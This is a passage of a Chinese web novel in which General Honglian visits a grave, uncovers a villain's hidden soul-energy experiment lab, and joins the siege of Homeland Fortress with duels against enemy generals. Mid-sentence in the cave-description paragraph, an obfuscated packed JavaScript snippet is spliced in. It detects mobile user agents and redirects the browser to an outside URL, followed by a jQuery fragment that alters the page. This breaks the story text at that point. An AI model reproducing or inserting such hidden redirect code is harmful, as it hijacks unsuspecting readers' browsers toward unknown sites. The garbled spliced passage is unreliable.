红莲离开会议室，走出王宫正门大厅，穿过石柱群，来到石砖平台，遥望辽阔旷野：灰白大地上，黑点攒动，逐渐汇成有序黑线，是各集群进行人员编制和物资车流编队，龙葵似乎还征调了白猫火炮部队前往西部。雪原中心，明亮的白色城堡是业凰科学院，玉珊瑚带两个集群防守那里。雪原东部尽头的高耸山脉中间有一条黑线，是赛博空港，夜兰和两万多名队员固守，一切无忧。 怀念故人 红莲扶正帽檐，黑发被风吹拂，她突然感觉到微微凉意，系好纯黑大衣扣子，缓步走下石阶，首都城区人潮涌动，茧已经设立住房和娱乐设施使用规章，御前集群的队员们分散在别墅区里维持秩序。 石阶路程还有一半，防空墙阵地内的队员走近对红莲敬礼，她们佩戴了新分发的黄金帽徽和金肩章，看起来英气不少，红莲回礼后继续走，双手揣入大衣兜，发现自己的肩章和帽徽，这还是岸防连城配发的呢，天烛最近把它还给红莲，说希望她重新戴上。 红莲边走边扣好金章，走进别墅区西部小道，这附近的豪华建筑是旧贵族留下的遗产，尽管无人居住，却一直空着，步道边的人们正在跟执勤队员争吵，似乎是说她们先进驻，还打扫过了，另一伙市民说新规章是排队入住，搞的队员很无奈，队员注意到身后走过的人是红莲将军，就慌忙敬礼，红莲摆摆手示意不必了。 那名队员可能很想请红莲解决这场纠纷。 可是，红莲继续向西南郊区漫步，积雪覆盖了废弃的建筑材料，螃蟹形状的自动机器搬运并回收建材，还有处理生活垃圾。有机物回收车散发出呛人的恶臭，但红莲闻到的是哀伤，牺牲的白猫队员尸体也在其中焚化。 小道渐窄，红莲看到平整的雪面，只有一对新脚印，小山峰下有一处墓园，围栏之中，墓地不知道被谁打扫过，黑色墓碑整齐排列在雪里。红莲挨个阅读墓碑主人的名字，直到冰雪两字，她脱帽行礼，或许因为走神，直到走近下一个墓碑，她才看到有人坐在地上。 此人金发，背后长发用两条细辫交束，再用紫色蝴蝶结扣好，这是夜星贵族常见的公主发式，黑色大衣紧缚身体，她发现红莲，于是抬头。 娇美的小脸纯洁清丽，自然流露着女王气质，红莲一看她是紫洋，紫洋微皱了眉，扭头继续看着恶毒和玛丽安合葬的墓碑，两人不发一语，待了有半个小时，各自离开。 这两天时间，是过度操劳的红莲难得的休息时间，她前往城墙内的军营，进入玛丽安那间火炮射击口改造的狭小的卧室，睡了一觉。 秘密 倘若读者对夜星世界的科技原理不感兴趣，那就可以跳过下面这段小事件了。 事件发生时间是橡树王登基的第三天03:45分，红莲将军要求了解首都城内各项设施，以便合理规划。 首都风花白夜宫城的前身风花宫，最初是从雪山脚开凿隧道，再向上贯通，在山脉腰部建造的一系列军事要塞，此后，沿山坡扩建成的超大型城市。出于采矿和增设工业区用地的考虑，向城市地下开挖出大片山洞空间，山洞东侧是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875308|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重工业基地，用于生产火炮和运输车等装备，中部是营养剂合成基地，西侧是孕育罐基地，用于增加人口。 内侍官茧带红莲和晴灯博士到达孕育罐基地，红莲看着罗列在山洞内的数千个孕育罐内都装着尚未发育完全的白猫人造人就生气了。 “我昨天下令终止白猫计划，怎么这些设备还在运行？而且我让你带我到孕育罐基地！” 茧当时还不熟悉红莲，见她发火就躲到晴灯身后说话。 “这里是孕育罐基地呀，已经开始发育的白猫，我不忍心杀掉她们。” 红莲听的云里雾里，就收敛了怒气，向茧道歉，茧再解释。 “红莲姐，我还是叫您大人吧，我习惯这样尊称领袖。您不知道，大约从25年前开始，南极的孕育罐就出现原因不明的死胎，每年新生人口在两位数和四位数之间大幅波动，排除了技术问题后，冰雪女王争取在家园堡和赛博空港开设了新的基地，收效也没突破万人。从三年前开始，成活的新生儿数量掉到了个位数，最近半年，更是0成活。于是恶毒女王将以前的人造人实验项目应用在孕育罐基地，成果就是白猫部队。” 晴灯博士抢过话题。 “我听不明白，好好的胎儿，没有技术故障，怎么可能死亡呢？” “是没死亡呀，可是灌输不了知识库，即便灌入一点知识，细心照料到12岁，开启罐子，取出后是植物人，无论如何都无法唤醒，基地这25年的工作日志都存在设备里，您现在就可以查阅。” 晴灯走到一个三米高的透明圆筒后方，按出操作台，查看了运行日志，显示护士们为了解决问题，尝试过关闭知识库灌输功能，按自然人体发育到一岁就取出还是植物人。 红莲摘下帽子，抚摸罐壁，黑发在黑衣后顺滑散落，好美的一位高挑女子。 这位威风凛凛的女将军，现在神态哀伤，是她对生命的珍视。 她问茧：“冰雪她想出过结论吗？” “女王跟我谈心的时候说过，是灵能会用了什么魔法，要让人类绝种。我想起来正是从那天开始，女王向全南极发布了自由募兵命令，联合北极一起调查机械生物动力的计划，也是从那天过后发起的。” “原来如此，灵能会能把至善之人欺负到豁出性命也要死斗到底，真可恨啊。” 红莲说罢低头，用手在眼上擦了一下，走到茧身边，揉揉她的头后说：“带我去冰雪去过的地方。” 回想冰雪女王的身影，对每位南极人来说，都是件既痛苦又幸福的事，女王翻遍了古书库，走遍了地下城的废墟，解读线索，在孕育罐基地山洞深处发现过一个狭小的溶洞，可能是群山上的冰雪被地下热气长年累月的侵蚀，形成了一条狭窄通道，众人抽干积水，追随她，在通道内捡到过一个古代存储盘，恢复数据后得到了人造人的基因编码程序。 茧再次启动抽水机，嗡嗡作响和浓重的烟尘，恍惚中又看到了一身蓝裙的冰雪女王，茧眨眨眼，看清是红莲站在那里。 红莲等积水很浅就弯腰钻入洞中。 “先不要进来，我怕石洞塌方砸到你们。” 茧明白这次不一样了，红莲的身心，是人类之中的最强者。 红莲呼唤后，茧和她半蹲在不到一米的溶洞里，指出发现古代存储盘的位置，旁边有一道狭窄裂缝，红莲趴在裂缝上观察，对裂缝喊了一声，扭头对茧说：“你来看看。” “只有黑暗。” “不，依稀可见一堵平面，喊话的回音也说明有墙存在，关键是我们站的这个溶洞的墙壁，像火山熔岩一样，正常山体不可能有这种形状，应该是某种神力或者超能力融化岩石后形成的。你先出去，我用剑术拓宽这里，过去看看，安全了再叫你们。” 一阵激烈的金属与岩石碰撞声过后，大量石块像挤牙膏似得，从洞口推出，一个满身尘土的白色人形物体走了出来，茧兴奋的走近，帮红莲拍土，而她运用身体的0元素能量场，震掉灰尘。 三人嬉笑着，一起下洞，在红莲开凿的走廊尽头，赫然出现一面墨绿色的金属墙壁，墙被红莲砍出一个破洞，人们进入其中，漆黑一片，晴灯用随身的多功能目镜开灯，找到电源接线板。 “你们等等啊，我去拉根线过来，应该是因年代久远，没电力了。” 茧则害怕的抱紧红莲的胳膊，晴灯返回后，接通电源，大厅通亮，浅绿色的铁板覆盖四壁和上下壁，灯，玻璃屏，水管，通风口，座椅，显示屏，操作台，一切都是一体化的设计。 “我见过这种设计，是古代生化实验项目的设施，茧！” 红莲说罢，一把捂住茧的口鼻，要带她出去，而茧在此时请求成为0元素使用者，令人遗憾的是，茧是一星队员。 晴灯在操作台的显示屏前查阅资料，系统并未设置秘钥，估计设施所有者认为没人能发现这里。 第一篇文档： 灵魂能量促进协会B会员关于思念能量开发项目记录一 百无聊赖啊！ 闲得发慌！ 安娅搞飞艇，傲天在玩女朋友，我做点什么好呢？ 晒太阳嘛？ 研究灵能会的老本行吧！ 灵魂！ 叫魂灵也可以，幽灵，魂魄，鬼魂，灵都行！ 反正是人死后飘出的那团玩意儿！ 真不知道原始人是怎么幻想出这玩意儿的，灵能会的历代会员们花费全部身家，就为了求证这种迷信，因为人不想死吧，哈哈，永生是一切强者的终极欲望嘛！ 不过也多亏了那些愚蠢的古人，我们才能发现灵魂的奥秘，永生成神。 我看看很久以前的研究项目文档，嗯！ 我在依维坦号验证了灵魂是由意识能量和思念能量组成。 意识能量已经被天狼星技术论证过了，就是大脑神经元维持量子化意识的能量，这能量像球形闪电一样，形成了稳定的结构，因为能级超低，在人死后仍可维持数百年时间，死亡同时导致能量结构失去□□提供的信息库，成为纯净的可被意识操控的能量。 思念能量是人生前强烈情绪产生的能量场，只有用最精确的仓式能级测量设备才能观测到啊，当时想尽各种方法让实验体痛苦，一个人测不出，我还塞了20个！ 哈哈！ 当时发现的思念能量迅速衰退，我还以为该能量和什么未知能量互相抵消了，再套了一层测量设备才明白，这种能量也是超越空间的，可以穿透任何物体。 它扩散到大气中了。 另一个发现是释放过思念能量的实验体，再怎么刺激都不产生思念能了，据此可以认定，该能量不由情绪产生，而是实验体自有的能量，释放过就没有了。 这很像爱恨，说是情绪，实际是灵魂层面的能量，所以我将它命名为思念能。 现在，我作为光星首屈一指的科学家，要开宗立派！ 开发思念能的使用方法。 爱恨，啧，像我这样的恶人是没有爱恨的，说到底善恶就不存在，人们不过按自己的逻辑和利益行事罢了，在我看来，爱恨是极少数人才有的能力，也不对，应该是每个人都有，但大多数人的灵魂能量很低，所以爱恨的能力很弱。 这样就需要找出高能的灵魂。 原来如此。 那正好南大陆古人遗留的地下宫殿可以当我的实验场，造一些速成的人造人出来，放到这密封的生活环境中，观察它们，挑出有明显爱恨能力的个体。 三人读到这里，晴灯点按控制开关，她们身后玻璃屏亮起，茧和红莲趴玻璃观看，里面是两个完全隔绝的小村落，假花假树的旁边倒着大量白骨。 三人开始阅读文档二： 灵魂能量促进协会B会员关于思念能量开发项目记录二 死了几批。 第一批人有吃有喝，什么都不缺，就互相杀起来了，剩了一个，处理掉。 第二批人有两人，从不主动攻击别人，其中一人自我牺牲保护了另一个，这个剩到最后。 第三批人，互杀全灭，还把上个幸存者杀了，莫名其妙啊！ 我得收藏不主动攻击别人的家伙。 第四批到第九批才再出现它，嗯，起个名字吧，思念者。 不知道消耗了多少批人，在隔壁村落攒了27个思念者，就神奇了，它们日子过的挺美啊，做手工，写书，画画。 问题是这种人造人的寿命只有3年，得抓7个，做采集和存储思念能的实验。 实验结论，思念能量可以穿透任何物体，包括生长金属，代表我根本没法利用这能量。 哎~ 浪费时间。 反正是打发时间的消遣嘛，天壳快完工啦，出发之日不远了。 剩这20个思念者，干嘛用呢？ 哎？ 如果自然世界中思念者不断增加的话，按理说，世界不该是如此啊？ 我放一个普通实验体1号到思念者群体中去，看看效果。 结果是没啥变化，再放一个2号。 结果只剩了一个，居然是1号幸存了，什么情况？ 调查监控，2号实验体迅速散播利益关系导致思念者全灭，最终被1号杀了。 观察1号单独生活的过程，吃了睡，睡了吃，没什么特别的，只不过，它患了失眠症，被失眠症折磨一年后，它开始挖自己的坟墓。 最近出现了神奇的变化，它在死前半年的时间里学习画画。 分析：我把1号称为中能量灵魂，这种人就是干有利益工作不够卖身，做兴趣工作不够用心的普通家伙，，它一开始适应思念者的人文系统，后来适应2号的利益系统，这时它的精神像骆驼，用别人规定的虚假自我谋生。 两个系统都在它眼前崩溃，它觉醒了自我，杀了2号。 它的失眠是精神缺乏理论引导，陷入了虚无，忍受过漫长的黑暗后，重构出自己的系统，觉醒了爱好，这时的它才变成了真正的他。 有趣。 原来孤独与虚无是找到真正自我的过程啊。 唉。 除了这两片文档，还有一篇论证群体潜意识的狼孩实验报告，就是把孩子给母狼养大，这样测试了8921个实验体后，证明了人自出生时就有预装的意识，还各不相同。 “有什么收获吗？” 红莲问晴灯，文档内容造成的不适感已经让她和茧没法好好思考了，这时就得指望有专业素养的晴灯博士了。 “嗯……有。” 晴灯一脸烦闷，从白大褂的兜里掏出一瓶营养剂吃着。 “嘶，不好吃呐。这个叫B的家伙，搞不好，差一点就发现了0元素。” “什么！” 红莲激动的掰晴灯的肩膀，而晴灯点点头，继续阐述。 “0元素是未知能量包裹0维产生的物质，能量来源是未解之谜。我也研究过风之语传说，现在想来风之语和B提到的思念能非常相似，思念能是人的精神爆发爱恨时扩散到环境中的能量，爱恨没了目标，汇合在大气里，成了能量场。不论是好人还是坏人，心底都渴望爱，这是人族共有的信念，即便没了身体，没了意识，没了信息，还留存在能量场里，场内除了爱字，什么信息都没剩，爱谁，被谁爱，怎么爱等等信息，都丢失了，这个能量场就是风之语。假设思念能的浓度足以充满夜星环境，压力到达某个临界值，就会驱动一些物体，机械生物的原型是自律机器人的残骸，什么形状的都有，会动后却统一变成动物外形，原因就是夜星的思念能量太浓了，从环境中捕获了丢失的共有信息，人们都喜爱动物啊。实际上，我们0元素使用者是被环境中的思念能包裹着，所以可以源源不断的获取能量。” “可是文档二写了，思念能量可以穿透生长金属。” “哈哈！” 晴灯笑红莲不够细心。 “B错了啊！你没发现文档一的前几句就写了太阳吗？说明B做实验时的环境和现在大不一样！意识能和思念能是人体内在能量的一体两面，能级超低，比光镊效应还低，环境中的思念能不够产生0元素，所以B的实验无效。灵能会只要意识能，思念能就留在环境里了，不知道是什么外部条件导致星球环境大变，使思念能的浓度飙升，压力陡增，才轮到我们发现。” 红莲拍拍还在操作台前阅读实验日志的晴灯。 “走吧。” 这趟探索奥秘的旅程匆匆结束了，收获是了解了0元素的原理，人们还有更严峻的危机需要解决，黑发少女最后看了一眼这处为某位恶人而建的魔窟。 “我们明明身处饱经战火的末世，却活在充满爱的世界吗？真是讽刺啊。” 31. 章31南极：家园堡围城战役 一位一星队员将黑色斗篷还给队长，她们站的雪面向北延伸，空寂广漠的雪原像一位总等人陪伴的旅者，头顶的黑幕轻洒白色花绒，仿佛祝福圣洁婚礼中的新娘，却落在队员们的黑帽和夹克上。 “队长，我很想参加。” “这次战役还是很危险，我们有点余力，就不想让新手冒险了，去吧，到赛博空港再锻炼几周。” “我出生在家园堡，能排上用场。” “我会替你把它夺回来的。” 分离的两人是全集群重编的缩影。 风吹雪流，匆匆掠过她们身边，数十公里的队伍向西行进，高速移动的运输车敞着后门，后勤队员一手抓着车门，一手将物资扔向队伍，众人再分发食品和医疗包，人们越走越集中，才注意到整个南极内陆的队员都涌向西部雪原，15625人的集群队伍就有十几队，共同组成一眼望不到边的人潮，后方轰鸣的机车声，说明还有近万辆运输车作为支援。 队伍拥堵，停止移动，队员们便坐下来休息，有的人还怕雪弄脏贴身衣物，打开包裹，铺上塑布才坐下来，队长清点完属下队员，看到不远处的运输车陷住，就跑过去帮忙。 车辆脱困后又熄火了，一位参谋官递给她一瓶营养剂，她摆手谢绝后说话。 “这好像还是老款运输车呢，您知道为什么不换新的吗？” “听说后勤会议有位叫天荷的副官，设计了新款装甲运输车，不再生产老款了。” “哦？有什么变化吗？” 二人闲谈中打量车体。 南极的车辆设计已算精妙，化纤防爆车轮的悬架设有微核发动机排气口，热气正好吹化车轮及轮毂的结冰区域。 “这！还有这！以及驾驶室和车厢要改造成全装甲设计，车体像个甲虫。” “那怎么运输大体积货物？” “好像说车厢可以像甲虫翅膀一样打开。” “原来如此，那位天荷大人可真厉害呐。” 装备是各级指挥官最关心的问题，决定了有多少战术变法，还能减少队员伤亡。 队伍的外侧有运输车队疾驰而过，队长踮起脚尖张望，参谋官把她抱起来，她红着脸，看清了车队是白猫火炮部队，每人身穿火炮装甲裙，下车列队待命。业凰队员帮她们更换了新的火炮支架，全自动展开还能高速移动，尽可能保障她们的安全。 紫洋集群熟悉家山地形，最先在家园堡下方的第一工业局隧道外围展开防线，队员们远望隧道口附近的矿石堆周围没有一点敌影，上方的雪山也没有敌人巡逻，就都放松私语，紫洋怒视还佯装抽打，才让队员紧张起来。 狡猾是紫洋的惯用伎俩，她见敌军唱空城计就感觉事态不容乐观，身旁的野芹副官打趣的说：“我看战略会议上，你干张着嘴巴，怎么不要当总指挥的机会呢？” “嘁！你懂什么！” 护卫帮紫洋铺好折叠凳子，再帮她摘掉大衣并梳理金发，她拿出随身镜子照自己的妆容，满意的嫩笑了一下，继续说：“红莲把阴谋藏的最深了！故作大方，实际是试一下，谁反对她当头，那人就傻兮兮的站出来接这次的指挥权，家园堡才五万敌人，队员就算是二十万头猪！硬推还打不下来吗？” 队员们听紫洋说她们是猪，就纷纷看紫洋，野芹笑说：“没事，她也把我包括进去了。” “哼！看什么看！好好盯着敌阵！关键是得赢的漂亮，让每个将军都心服口服，才有机会接替红莲，你说这不是强人所难吗！红莲就是想看哪个蠢货自己来出丑！被大家笑话，好强化她的领袖地位！” 野芹听完，狂恶的笑容多了一份轻蔑。 紫洋看出她是笑自己不敢接总指挥位置，又不敢跟野芹吵架，害怕她动手，就低头阅读信息板。 黑巴集群紧邻紫洋集群布防完毕，藤萝副官留下后勤集团，只带两个护卫，要去南部雪山冰洞内检修移动要塞，临走嘱咐黑巴。 “将军勇冠天下，但切勿冒进，我在家园堡任职时，见过三位侍灵守将，都是近战高手。” “不用担心，我打算把三万人分为先锋集群和预备集群，冲两波应该可破此城。你为何突然要去第二工业局呢？” 藤萝怕冷，先是紧紧自己的白棉大衣，在帮黑巴盖好斗篷，才回答。 “后勤人员就这两天松闲，红莲将军让我抽空检修移动要塞，想让我再任家园堡的研发团队主管。” 黑巴一听就来了脾气，拉藤萝坐下后说话。 “哼，城还没占呢，她倒是先安排好工作了！藤萝，别去了！我想再看你设计医疗药品。” “都是为了南极，我擅长科研，义不容辞。巴，我想问你，战略会议，你为什么不接总指挥呢？” “费力不讨好是一方面，另一方面，我确实不擅长指挥十几万人规模的战役。” “好吧，我最喜欢你这样坦诚，有一说一。” 两人对视着，笑了。 “假如将来，战事结束了，巴想做什么呢？” 黑巴揉捏着齐耳短发，恰好是她这姣好容颜最美的侧脸。 “嗯？一时想不到啊，可以肯定的是也像你一样，凭兴趣研究点什么东西，不用社交的。” “可我觉得队员们既怕你又喜欢你。” “藤萝将来想做什么呢？” 两人同时说出：“治病救人。” 她们一阵欢笑过后分别。 家山南坡的东角，百里雪原被六万队员铺满，运输车队为她们提供了便利的登山装备，两支后勤集团各领到了充足的医疗物资，就等总指挥一声令下，就能快速登上南坡，总指挥所却还未设立，千鸟和阳荷聚在一起闲聊。 “千鸟，你觉得红莲这次让权是有什么用意吗？” “你只穿单衣不冷吗？” “我这是两层，红衣里面还有队服。正面回答我的问题。” 千鸟把黑大衣套好，再系好扣子，坐在阳荷身边，打量她的身形，心想你胸前的脂肪有御寒效果么？ 但她没问出口，一边整理耳侧的细辫和背后的大辫子，一边说：“红莲这人啊，不复杂，真的，她的脑子有空就算战略战术，累了就练剑，再累直接大睡一觉，哪有余力算计别人？你看紫洋工于心计，剑术和指挥都拉胯，人啊，时间用在什么方向，什么方向就强，另一个方向就弱。” 阳荷摸嘴思考，千鸟继续说：“她就是怕自己哪天没了，我们瞬间溃散，所以真诚请出一位合格的继任者。我是不行，我懒的操心，得等别人给我指派任务。” “噢，是这样。” “那你怎么不担总指挥呢？我觉得红莲之后，只有你适合，民众都知道你阳荷的为人，会誓死捍卫南极。” “能说真话吗？” “咱俩老相识了，说呗。” 阳荷捂着额头，又揉着，显得非常痛苦。 “领袖不止需要队员爱戴，还需要各级指挥官的敬服，就像你说的，这次战役的成果得能服众。我啊，真的讨厌战争，打心底厌恶，这种强烈的厌恶感让我回避，甚至是逃避去思考入侵者的情况。我只想好好保护大家，只想考虑大家的安危。” “这有什么不对呢？” “机械人偶大军，赛博空港战役和首都战役，全在我意料之外，假如我来当总指挥，大家已经全灭了。” 阳荷说着，眼泪不自觉的落下。 千鸟抱着她的肩膀，轻摇着，安慰她。 总指挥所会议派出的传令队员才来到，二人起身前往。 后备超大集群的七万队员如黑云压顶，开始攀登雪山，构成了一幅前所未有的壮丽场面。雪山之巅，一座蛋糕形状的棕色巨塔，周围白雪皑皑，云雾缭绕，默然注视攻山的队员们。众人身着单薄的黑色队服，脚踏特制的冰爪，每一步都稳健而坚定，在这银装素裹的世界里，她们渺小而又伟岸。 随着暴风雪愈加猛烈，空气愈发稀薄，她们靠体内0元素维持呼吸，眼神中没有丝毫退缩。队伍宛如蜿蜒的巨龙，穿梭在光滑的冰洞边缘与陡坡雪面之间，黑衣在风中猎猎作响，传递着不屈的意志与必胜的信念。沿途，不时有人停下脚步，相互搀扶，或是用绳索连接，共同跨越难关。 指挥所还未商定作战计划，主力队伍却已登山，众位将军急跑几步，进入大帐，会议桌最里的座位处站着一人，她身材高大，黑色的刺猬乱发蓬散满背，头戴黑帽，身穿大衣，表情蛮横，正是龙葵。身侧的副官一头金色短发，嘴角有着标志性的小虎牙，名叫金钟。她俩低头审视会议桌上的电子图，紫洋和阳荷同时入帐，她注意的阳荷眼周红润，就问怎么了，身后的千鸟连说没事，黑巴也催促她俩尽快进去。 紫洋一拍桌子，震慑诸位，开始发言。 “家园堡和山下隧道内部联通，这样贸然攻山，会被敌军上下夹击！” 龙葵怒问：“那你说怎么办！” 紫洋略加思考，一手托胳膊肘，另一手摊开后说：“诱敌？山顶城堡对山下一览无余，敌将知道谁是总指挥官，你带队冲入隧道，不多时便被追杀，逃回大营，我们就能围剿！” 龙葵说：“太鲁莽了，敌军被五倍队员包围，不可能冲出来。其他将军还有良策吗？” 黑巴答：“全员上山，猛攻南坡，逼迫敌军向北海岸逃窜，让出家园堡。” 千鸟和阳荷交流后，统一了看法：“先攻三条主隧道，不被敌军远程火力轰炸，还能消除山下隐患。” 龙葵：“太慢了，我结合各位建议，围攻家园堡，分波次消耗敌军城防能力，全员执行！” 众位将军看她关闭了电子地图，就不好再多言，其实龙葵的战略计划极为稳妥，发挥了二十万队员的全部战力，绝不能说错，但就像军校生的计划那样中规中矩，缺乏新意。 通常而言，指挥官的谋略是根据自身特点指定的，这样普通的战略侧面说明龙葵缺乏实战经验，还没摸索出适合自己的战略，正所谓同样的队伍看谁带，指挥官的作用正在于此。 家山南坡正面的超大集群队伍匍匐在山腰，是山顶家园堡直射火力的盲区，等待其他集群配合攻山。 争夺家园 千鸟和阳荷，共四个集群六万人，从南坡东角登山，快速登上东南山坡并向家园堡北部迂回。这时，她们遭受到城堡的三层远程火力打击，千鸟的两个集群为躲避火力，不得不逃到家山北坡的针叶林带，这些树木是古代人用生长金属栽培的，所以异常坚韧，为队员们提供了极佳的掩护。 光球和炮弹齐飞，互相碰撞在空中爆炸，将暴雪气化，在夜幕铺开一面壮观星河，即便是最宏大的烟花表演也无法与之媲美。弹雨泼向家山北坡的冰树林，队员们在树后趴着，硬等轰炸结束，千鸟转身遥望北海岸西角，巡逻的侍灵部队有集结趋势，她就分出一半队伍林边设立防线，侍灵部队见千鸟集群人多势众，就未上山。 阳荷集群顶住压力，在家山东南坡构筑了防线，千鸟集群也缓缓围上山，封住了守军北逃的通道。 最重要的是，南坡正面的超大集群趁机逼近家园堡，由于守军只有五万侍灵，远程武器严重不足，所以不可能同时轰炸东北南三面，于是三路队员此起彼伏，各自利用敌军火力变向，开展围城行动。（注释：家山西坡常年被冰海面飘来的冰山群撞击，极为陡峭难行，是一条死路。） 曾经纯白的雪山，现被难以计数的黑衣队员占满，数十万队员的中心，是宏伟城堡在不断对各方向喷吐光雨，恢弘场面令人惊骇。 超大集群的各级指挥官等了敌军的一波火力转移，突然发起冲锋命令，趴在雪中的队员们立刻站起，以排山倒海之势冲击家园堡正门入口，她们前行了大约150米，敌军城堡火力完成回转，连续发动三轮齐射。 家山的形状是汉堡形，越接近山顶，坡度越陡，密集轰炸不仅导致大量队员败退，还激发出翻腾的雪浪，一浪接一浪，队员被雪流卷的四处翻滚，又被爆炸气流冲上天，南坡战场到处是这样的战况。 山下的黑巴和紫洋眼见正面攻势即将崩溃，正要带队冲山支援，山下的多个冰洞隧道猛然涌出大批敌军，二位将军赶忙率众迎敌。龙葵集群随后跟上，她的集群还未满编，这时山下的采矿基地聚集了约六个集群，按理可以轻易吃掉这股偷袭的敌军。 一番混战，冲出各隧道的多支侍灵部队在海量队员的持续围攻之下，迅速溃缩成一支军团，胜局却不够明朗，稳住的战线两翼突然爆发大片队员，她们被什么东西撞飞，那物体把队员们如蚂蚁般甩飞出数百米远，这样下去，包围圈再厚都有可能被敌方军团突破。 武技出色的将军级队员分成两组，黑巴和龙葵赶往西翼。前方，人海距离侍灵军团还有50米就突然拥堵，黑巴推挤开队员们，来到最前的瞬间就被光束子弹攻击，两位小队长以身为她遮挡，黑巴才看清，人群之中出现50米圆形空地，空地中心有一面2.8米高0.7米宽的钢柜，柜子正面有多对横条喷口，向外发射极能量束弹幕，队员们被弹雨打的人仰人翻。 钢柜的外观上有许多金属雕花装饰，柜顶有一个朝上的半月形弧刀，月牙刀内侧有一个人脸面具，整体形状很像某种古代刑具，柜子原地快速转动，旋转射击，向黑巴露出柜后的敌将，它半蹲着就和队员同高，目测它站直的高度接近三米，身穿开叉黑袍，大腿裹了超长黑靴，身上缠满黑色钢链，链子又连着钢柜，再看它头戴了有一对巨大的盘羊角钢盔。 黑巴鼓足勇气，要趁机刺杀它，不料柜子忽然将敌将拉远，紧接着，钢柜平躺，正面的射击口又变成喷口，悬浮起来，敌将蹲在柜子上，急速冲向队员组成的人墙，柜顶的半月弧刀猛烈切割黑剑和队服，没等队员们来得及反应，它就驱动漂浮的钢柜，绕着圆形空地，环切人墙！ 当敌将踩柜子刚飞转半周，就觉得推进不动，原来是黑巴，以剑挡住半月刀锋，火星四溅，敌将后仰，双手扶柜子背面，伸出一条腿去踢黑巴的脸，龙葵趁势搂护住黑巴，另一只手用剑直刺，命中敌将的脚和小腿，敌将急忙控制柜子，向空地中心翻滚，连带撞到多名队员，之前护卫黑巴的两位小队长不慎被卷入其中。另一侧人墙的队员看的清楚，一名队长被钢柜背面突然打开的柜门吸入，柜门关闭迸发一声惨叫，敌将落地，叉腿站立，邪恶身姿极度骇人，钢柜悬浮到它腰后，扭了扭受伤的脚，似乎康复了，它随后说话。 “原来你们和侍灵一样，不是人类了呀，那我的瞬间复活能力又派不上用场了呢。” 黑巴和龙葵走入空地，她俩得给受伤和败退的队员争取时间，黑巴悄悄打手势，让队员们尽量散开。 “你是谁，报上名来！” “呵！口气不小，你问我，你自己不说？” “我是黑巴将军，这位是龙葵将军！” “哈哈哈！” 敌将仰天长笑，三米高的妖艳身段，盘羊角钢盔和黑袍，还有钢链和刑具样的武器，犹如从地狱而来的魔姬。 “灵能会主导光星一万年！顺其者昌，逆其者亡！我是灵能会忏悔院副将，代号铁娘子。” 其实黑巴根本没心情听敌人说什么，她想立即杀了敌将，替那位队长报仇，可是敌将的战斗模式特别新颖，必须谨慎分析。 黑巴看钢柜的外观，再想敌将名字是铁娘子，推测这个金属柜子就叫铁娘子，是种人形棺材形式的古代刑具，内有钢刺，将人关入，慢慢放血而死，再结合敌将说的第一句话，推测刑具吞入人类后，可以成为敌将的生命存档，让它满血复活，但因队员服用过0元素，所以无效了。 刑具的正面是多孔炮，说明铁娘子擅长中近距离战斗，刑具的飞行能力实际就是为了让它像步枪射手一样快速转移阵地而存在的能力。 黑巴想清楚这些，就说：“近身缠斗，我负责挡半月刀锋，龙葵你负责攻击它的肉身。” 说是迟，剑是快，黑巴一招绝命剑，神速冲锋，铁娘子还未来得及跳上刑具，就得操纵刑具去挡黑巴的剑雨，黑巴从剑术比赛后就暗自苦练真我剑术，足以缠住铁娘子了，龙葵滑步绕在铁娘子身边，时常刺击，更为惊人的是铁娘子十分熟悉近战，而这面巨大的刑具，极其沉重，龙葵被刑具撞了一下就滚出二米远，说明铁娘子不是靠蛮力操纵刑具，刑具的浮飞轨迹诡异多变，铁娘子反而成了刑具旁边的舞蹈者，灵能会的大将就是这么超越常识，三人斗战成一团。 相隔一公里的东翼战场，大将对战同时进行。 目前，能和红莲打成平手的队员只有野芹，她的身体是集人类基因技术之大成，轮到她喝0元素时，她把剩余的平常人五倍的原初0元素一口干了，这赐予她全身细胞充斥0元素，可以随时迸发强大能量场，但也导致她的意识经常被0元素扰乱，浑浑噩噩，她必须强行保持清醒，所以野芹总是面带笑容，她想用笑避免被队友察觉。 敌将居然能跟野芹战的难解难分，原来是紫洋拖后腿了，两人一起阻击敌将，紫洋的剑术灵巧有余，凶狠不足，被敌将一瞬察觉，抓住战机，猛攻紫洋。 野芹就拼命掩护她，而她在野芹身后逐渐看清敌将的武技和样貌，此人身高两米五，通身黑色紧身衣，头戴W形状的蒙眼钢盔，脑后有大片黑纱，最离谱的是它双手持用一把长达三米的巨大十字刀，刀身遍布怪异的古代妖魔浮雕，刀侧全有刀刃，它是偶尔抓着刀身的把手挥舞，偶尔似乎是凭意念力操纵十字刀，特点在于刀刃的威力足以一击破掉队服，导致多名队员伤残，野芹勉强招架了三十几回合后施展一命剑，弹飞了敌将的刀，野芹趁机转身对紫洋怒吼。 “哎呀小祖宗，不滚蛋，我就捅死你！” 众队员一起围攻敌将，却被敌将用拳脚功夫打飞，十字刀高速转回，又刮伤数名队员，最终撞在野芹的背上，刺的不深，是野芹用背刀术挡了一下，野芹看紫洋跑开，才从容转身，黑色血液在野芹的水手服破洞处涌出，很快凝结，队服也渐渐修复。 “哎！我野芹不斩无名之鬼！” 受伤队员趁机爬离，敌将站定，将十字刀立在身后，曼妙身姿在奇怪穿着之下，显得阴森恐怖。 “灵能能量促进协会——忏悔院——刽子手！少说废话！” 野芹这次可以尽情的主动出击，面对比自己大的多的刽子手，她只能选择用贴身缠斗，一剑隔开十字刀就迈一步贴身，用重拳打敌将胸口，敌将也同时出拳，彼此伤害之下，野芹硬抗住，占据上风。 野芹贴靠住十字刀的刀身，下一剑用杠杆原理，推剑柄，剑下移，刺入刽子手的肩膀，刽子手吃亏后马上用意念移动十字刀，想甩飞野芹，不想却被野芹死死抓住小臂，任刽子手打了几拳，野芹嘴角流了黑血，还是恶笑，这把刽子手也吓了一跳，它没想到人类之中也有怪物。 